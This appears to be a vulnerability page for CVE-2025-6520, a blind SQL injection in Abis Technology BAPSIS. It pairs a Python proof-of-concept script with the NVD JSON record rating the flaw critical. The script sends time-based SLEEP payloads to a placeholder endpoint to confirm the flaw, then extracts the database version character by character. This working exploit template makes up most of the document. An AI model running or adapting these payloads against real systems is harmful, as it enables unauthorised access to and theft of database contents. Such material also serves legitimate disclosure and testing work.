CVE-2025-6520

import requests import time # CVE-2025-6520 PoC - Blind SQL Injection in Abis Technology BAPSIS # Target: BAPSIS application with SQL injection vulnerability target_url = "http://target-server/BAPSIS/endpoint" # Test payload - blind SQL injection using time-based technique # This payload will cause a 5-second delay if vulnerable test_payload = "' OR SLEEP(5)--" def test_sql_injection(): print(f"[*] Testing CVE-2025-6520 on {target_url}") # Replace 'param' with the actual vulnerable parameter data = { 'param': test_payload } start_time = time.time() try: response = requests.post(target_url, data=data, timeout=10) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Vulnerable! Response delay: {elapsed:.2f}s") print(f"[+] Blind SQL Injection confirmed") return True else: print(f"[-] Not vulnerable or parameter not found") return False except requests.exceptions.Timeout: print("[+] Request timeout - likely vulnerable") return True except Exception as e: print(f"[-] Error: {e}") return False def extract_data(): # Example: Extract database version using blind SQL injection # This is a simplified demonstration charset = 'abcdefghijklmnopqrstuvwxyz0123456789' result = "" for pos in range(1, 50): for char in charset: payload = f"' OR IF(SUBSTRING(@@version,{pos},1)='{char}',SLEEP(2),0)--" data = {'param': payload} start = time.time() try: requests.post(target_url, data=data, timeout=5) if time.time() - start >= 2: result += char print(f"[+] Extracted: {result}") break except: pass if len(result) == pos: break print(f"[+] Database version: {result}") return result if __name__ == "__main__": if test_sql_injection(): print("[*] Proceeding with data extraction...") extract_data()

{"cve": {"id": "CVE-2025-6520", "sourceIdentifier": "[email protected]", "published": "2025-10-31T08:15:36.590", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Abis Technology BAPSIS allows Blind SQL Injection.This issue affects BAPSIS: before 202510271606."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0365", "source": "[email protected]"}]}}